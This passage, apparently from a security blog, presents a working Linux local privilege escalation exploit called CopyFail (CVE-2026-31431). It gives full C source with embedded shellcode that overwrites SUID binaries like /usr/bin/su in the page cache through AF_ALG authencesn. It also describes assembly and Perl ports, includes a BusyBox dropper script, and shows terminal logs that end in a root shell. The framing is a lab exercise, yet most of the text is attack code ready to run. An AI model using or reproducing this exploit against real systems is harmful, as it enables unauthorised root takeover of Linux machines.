00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0x
db, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x
00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
axura@pwnlab:~/lab/copy-fail$ vim exploit.c
axura@pwnlab:~/lab/copy-fail$ gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
axura@pwnlab:~/lab/copy-fail$ ./exploit
[+] target   : /usr/bin/su
[+] payload  : 376 bytes
[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write
[+] payload staged into page cache, executing target...
# id
uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)

We can also use other msfvenom payloads, such as a reverse shell payload, meterpreter, any Bash commands, etc.

7.3.2 C Exploit Script

Drop the final replacement bytes into PAYLOAD_BYTES. By default, this example uses the x86_64 exec("/bin/sh") payload:

C
/**
 * Title      : CopyFail CVE-2026-31431 Linux LPE exploit
 * Date       : 2026-05-15
 * Author     : Axura (@4xura) - https://4xura.com
 *
 * Description:
 * ------------
 * Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte
 * destination-side scratch write into a page-cache overwrite primitive.
 * The exploit places the controlled 4-byte value in AAD[4:8], splices a
 * file-backed page range into the AEAD request, triggers decrypt, and
 * repeats that primitive until the replacement payload is staged into the
 * target executable's page cache.
 *
 * Usage:
 * ------
 * gcc -static -Wall -Wextra -O2 -o exploit exploit.c
 * ./exploit
 *  DEBUG=1 ./exploit
 * ./exploit <target_basename>
 *
 * Notes:
 * ------
 * Replace PAYLOAD_BYTES with the final replacement byte sequence to stage
 * into the target executable for arbitrary code execution.
 * The default target is /usr/bin/su. Authentication failure during recv()
 * is expected; the exploit only requires authencesn() to execute far enough
 * for the 4-byte scratch write to occur before the error is returned.
 * Provided for educational use. Use responsibly.
 *
 */

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

enum {
    CRYPTO_AUTHENC_KEYA_UNSPEC,
    CRYPTO_AUTHENC_KEYA_PARAM,
};

struct crypto_authenc_key_param {
    uint32_t enckeylen;
};

static int debug_enabled;

static void die(const char *msg)
{
    perror(msg);
    exit(EXIT_FAILURE);
}

/*
 * [ SHELLCODE ]
 * Replacement bytes to stage into the target executable.
 *
 * Each loop iteration below consumes 4 bytes from this array and turns them
 * into one page-cache overwrite primitive.
 */
static const unsigned char PAYLOAD_BYTES[] = {
    /* TODO: insert replacement bytes here (default: exec("/bin/sh)) */
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES);

static void open_authencesn_socket(int *tfm_fd, int *op_fd)
{
    struct {
        struct rtattr rta;
        struct crypto_authenc_key_param param;
        unsigned char keys[16 + 16];
    } keyblob = {
        .rta = {
            .rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
            .rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
        },
        .param = {
            .enckeylen = htonl(16),
        },
    };

    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type = "aead",
        .salg_name = "authencesn(hmac(sha256),cbc(aes))",
    };

    memset(keyblob.keys, 0x00, sizeof(keyblob.keys));

    *tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (*tfm_fd < 0)
        die("socket(AF_ALG)");

    if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
        die("bind(authencesn)");

    if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY,
                   &keyblob, sizeof(keyblob)) < 0)
        die("setsockopt(ALG_SET_KEY)");

    if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE,
                   NULL, 4) < 0)
        die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");

    *op_fd = accept(*tfm_fd, NULL, NULL);
    if (*op_fd < 0)
        die("accept");
}

static void queue_aad(int op_fd, const unsigned char chunk[4])
{
    unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] };
    unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0};
    unsigned char cbuf[
        CMSG_SPACE(sizeof(uint32_t)) +
        CMSG_SPACE(sizeof(ivbuf)) +
        CMSG_SPACE(sizeof(uint32_t))
    ] = {0};
    struct af_alg_iv *iv = (void *)ivbuf;
    struct iovec iov = {
        .iov_base = aad,
        .iov_len = sizeof(aad),
    };
    struct msghdr msg = {
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = cbuf,
        .msg_controllen = sizeof(cbuf),
    };
    struct cmsghdr *cmsg;
    uint32_t op = 0;          /* ALG_OP_DECRYPT */
    uint32_t assoclen = 8;

    /*
     * AAD layout:
     *
     *   +------+------+------+------+------+------+------+------+
     *   |  A   |  A   |  A   |  A   |  w0  |  w1  |  w2  |  w3  |
     *   +------+------+------+------+------+------+------+------+
     *
     * Bytes 4..7 become seqno_lo, which authencesn later writes.
     */
    iv->ivlen = 16;

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_OP;
    cmsg->cmsg_len = CMSG_LEN(sizeof(op));
    memcpy(CMSG_DATA(cmsg), &op, sizeof(op));

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_IV;
    cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf));
    memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf));

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
    cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
    memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));

    if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
        die("sendmsg(AAD)");
}

static void splice_target_window(int file_fd, int op_fd, off_t target_offset)
{
    int pipefd[2];
    loff_t splice_off = 0;
    size_t splice_len = (size_t)target_offset + 4;

    /*
     * Imported layout:
     *
     *   file[0 : target_offset]   -> ciphertext region
     *   file[target_offset : +4]  -> preserved tag tail
     *
     * authsize = 4 makes those last 4 imported bytes sit exactly where
     * authencesn later performs its scratch write.
     */
    if (pipe(pipefd) < 0)
        die("pipe");

    if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
        die("splice(file -> pipe)");

    if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
        die("splice(pipe -> AF_ALG)");

    close(pipefd[0]);
    close(pipefd[1]);
}

static void trigger_decrypt(int op_fd, off_t target_offset)
{
    size_t rx_len = (size_t)target_offset + 8;
    unsigned char *outbuf = malloc(rx_len);
    ssize_t n;

    if (!outbuf)
        die("malloc(recv)");

    n = recv(op_fd, outbuf, rx_len, 0);

    if (debug_enabled && n < 0)
        printf("    [-] recv() returned: %s\n", strerror(errno));

    free(outbuf);
}

static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4])
{
    int tfm_fd, op_fd;

    if (debug_enabled) {
        printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n",
               (unsigned long long)target_offset,
               chunk[0], chunk[1], chunk[2], chunk[3]);
    }

    open_authencesn_socket(&tfm_fd, &op_fd);
    queue_aad(op_fd, chunk);
    splice_target_window(file_fd, op_fd, target_offset);
    trigger_decrypt(op_fd, target_offset);
    close(op_fd);
    close(tfm_fd);
}

int main(int argc, char **argv)
{
    const char *target = "/usr/bin/su";
    int file_fd;
    size_t i;

    if (getenv("DEBUG"))
        debug_enabled = 1;

    if (argc > 1) {
        static char path[256];
        snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]);
        target = path;
    }

    printf("[+] target   : %s\n", target);
    printf("[+] payload  : %zu bytes\n", PAYLOAD_LEN);
    printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n");

    file_fd = open(target, O_RDONLY);
    if (file_fd < 0)
        die("open(target)");

    for (i = 0; i < PAYLOAD_LEN; i += 4)
        overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i);

    close(file_fd);

    printf("[+] payload staged into page cache, executing target...\n");
    execl("/bin/su", "su", NULL);
    die("execl(su)");
    return 0;
}
Expand

Build:

Bash
gcc -Wall -Wextra -O2 -o exploit exploit.c

Or better, build statically for portability:

Bash
gcc -static -Wall -Wextra -O2 -o exploit exploit.c

This version keeps the exploit logic and stays on widely available Linux userspace interfaces. Unlike the Python version, it leaves the replacement byte stream explicit as PAYLOAD_BYTES, so the final staged content can be filled in directly without a separate compression step.

Pwned:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ vim exploit.c
axura@pwnlab:~/lab/copy-fail$ gcc -static -Wall -Wextra -O2 -o exploit exploit.c
axura@pwnlab:~/lab/copy-fail$ DEBUG=1 ./exploit
[+] target   : /usr/bin/su
[+] payload  : <depends on PAYLOAD_BYTES> bytes
[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write
[+] overwrite @ 0x0: 7f454c46
    [-] recv() returned: Bad message
[+] overwrite @ 0x4: 02010100
    [-] recv() returned: Bad message
[+] overwrite @ 0x8: 00000000
    [-] recv() returned: Bad message

...

[+] overwrite @ 0x94: 0f052f62
    [-] recv() returned: Bad message
[+] overwrite @ 0x98: 696e2f73
    [-] recv() returned: Bad message
[+] overwrite @ 0x9c: 68000000
    [-] recv() returned: Bad message
[+] payload staged into page cache, executing target...
# id
uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)

7.4 Assembly Exploit

After the C rewrite, the next step is stripping the exploit driver down to raw x86_64 Linux syscalls. This version is mainly useful as an advanced reference: it removes libc, removes language runtime glue, and makes the exploit flow visible almost one syscall at a time.

The canonical implementation is exploit-scripts/exploit.asm in the artifact repo.

This version does not call libc and does not depend on zlib. It embeds the final replacement ELF generated in 7.3.1.1 and drives the same 4-byte overwrite primitive entirely through direct syscalls:

ASM
payload:
    incbin "payload.pwnkit.elf"
payload_end:
    times 3 db 0
payload_len equ payload_end - payload

So the build directory must already contain:

Payload ELF File
payload.pwnkit.elf

before assembling the exploit, unless the incbin filename is changed.

The three zero bytes after payload_end are only read padding for the final 4-byte chunk when the ELF size is not divisible by four.

At the control-flow level, the assembly version is still the same exploit:

C helperAssembly labelSyscalls used
open_authencesn_socket()open_authencesn_socketsocket, bind, setsockopt, accept
queue_aad()queue_aad_bufsendmsg
splice_target_window()splice_target_windowpipe, splice, splice
trigger_decrypt()trigger_decryptrecvfrom
main() loop.patch_looprepeats the 4-byte primitive over payload.pwnkit.elf

The only interface simplification is target selection. The C version accepts a basename and builds /usr/bin/<name>. The assembly version treats argv[1] as a full path, while no argument defaults to /usr/bin/su. After staging, it executes that same target path.

Build:

Bash
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o

Run against /usr/bin/su:

Bash
./exploit_asm

Or pass a full target path to any root-owned SUID binary:

Bash
./exploit_asm /usr/bin/chsh

On the lab machine, the compact ELF from 7.3.1.1 stages cleanly and the assembly driver reaches the same end state as the C and Python versions:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ ./exploit_asm /usr/bin/chsh
[+] target   : /usr/bin/chsh
[+] payload staged into page cache, executing target...
# id
uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
# whoami
root

7.5 Perl Exploit

Perl is worth adding because many Linux systems still ship it by default even when Python development packages, compilers, or nasm are absent.

This port keeps the same exploit geometry as the C and assembly versions, but uses built-in syscall() only: no CPAN modules, no Compress::Zlib, and no shellcode generation inside the script itself. Instead, it reads the external ELF payload from 7.3.1.1, packs the required AF_ALG structs in userland, and drives the same syscall chain:

socket → bind → setsockopt → accept → sendmsg → splice → recvfrom

The canonical implementation is in the artifact repo: exploit-scripts/exploit.pl.

Usage:

Bash
perl exploit.pl
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl  # prints per-chunk overwrite

We can specify a victim SUID binary and the the ELF payload (e.g. payload.pwnkit.elf from 7.3.1.1) we want to execute with kernel priv:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ perl exploit.pl /usr/bin/passwd payload.pwnkit.elf
[+] target   : /usr/bin/passwd
[+] payload  : 376 bytes from payload.pwnkit.elf
[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write
[+] payload staged into page cache, executing target...
# id
uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
# whoami
root

7.6 BusyBox-only Exploit

There is an important limit here: a pure BusyBox shell script cannot directly perform the full exploit primitive. The exploit needs socket(AF_ALG), setsockopt(), sendmsg() with ancillary control messages, splice(), and recvfrom(). BusyBox applets do not expose that syscall shape.

So a realistic BusyBox-only path is a self-extracting runner:

  • build the syscall exploit once, for example the assembly version from 7.4
  • build the compact payload.pwnkit.elf from 7.3.1.1
  • pack both files into one BusyBox-compatible shell script
  • on the target, the script uses only BusyBox sh and printf to reconstruct the files under /tmp, then runs the exploit

This is useful on constrained systems where BusyBox is present but Python, Perl, gcc, nasm, and package managers are not.

The packer is kept in the artifact repo as exploit-scripts/mk_busybox_dropper.sh:

Bash
#!/bin/sh
#
# Build a BusyBox-compatible self-extracting CopyFail runner.
#
# Usage:
#   sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
#   busybox sh copyfail-busybox.sh /usr/bin/su
#
# The generated script uses only common BusyBox applets: sh, printf, chmod,
# mkdir, rm, cd, and exec.

set -eu

if [ "$#" -ne 2 ]; then
    echo "usage: $0 <exploit_asm> <payload.pwnkit.elf>" >&2
    exit 1
fi

exploit_bin=$1
payload_elf=$2

[ -r "$exploit_bin" ] || { echo "cannot read exploit binary: $exploit_bin" >&2; exit 1; }
[ -r "$payload_elf" ] || { echo "cannot read payload ELF: $payload_elf" >&2; exit 1; }

emit_file() {
    src=$1
    dst=$2

    printf "write_blob \"%s\" <<'__COPYFAIL_BLOB__'\n" "$dst"
    od -An -tx1 -v "$src" |
        awk '
        {
            for (i = 1; i <= NF; i++) {
                buf = buf "\\x" $i
                if (length(buf) >= 192) {
                    print buf
                    buf = ""
                }
            }
        }
        END {
            if (length(buf))
                print buf
        }'
    printf "__COPYFAIL_BLOB__\n"
}

cat <<'EOF'
#!/bin/sh
set -eu

d=${TMPDIR:-/tmp}/.copyfail.$$
mkdir "$d" || exit 1
trap 'rm -rf "$d"' EXIT HUP INT TERM
umask 077

write_blob() {
    out=$1
    : > "$out"
    while IFS= read -r line; do
        [ "$line" = "__COPYFAIL_BLOB__" ] && break
        printf '%b' "$line" >> "$out"
    done
}

EOF

emit_file "$exploit_bin" '$d/exploit_asm'
emit_file "$payload_elf" '$d/payload.pwnkit.elf'

cat <<'EOF'

chmod 700 "$d/exploit_asm"
cd "$d"
exec ./exploit_asm "${1:-/usr/bin/su}"
EOF
Expand

Generate the BusyBox artifact on a build-capable lab machine:

Bash
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o

sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh

Then run the generated artifact on the constrained target:

Bash
busybox sh ./copyfail-busybox.sh /usr/bin/su

Pwned:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
axura@pwnlab:~/lab/copy-fail$ chmod +x copyfail-busybox.sh
axura@pwnlab:~/lab/copy-fail$ busybox sh ./copyfail-busybox.sh /usr/bin/su
[+] target   : /usr/bin/su
[+] payload staged into page cache, executing target...
# id
uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
# whoami
root

That generated script wrote two files into a private temporary directory:

Path
$TMPDIR/.copyfail.$$/exploit_asm
$TMPDIR/.copyfail.$$/payload.pwnkit.elf

Then it changed into that directory and executes:

Bash
./exploit_asm /usr/bin/su

This keeps the target-side dependency set small. The target does not need nasm, ld, gcc, Python, Perl, base64, xxd, or uudecode; the generated script only relies on BusyBox shell behavior and printf '%b' handling \xNN byte escapes.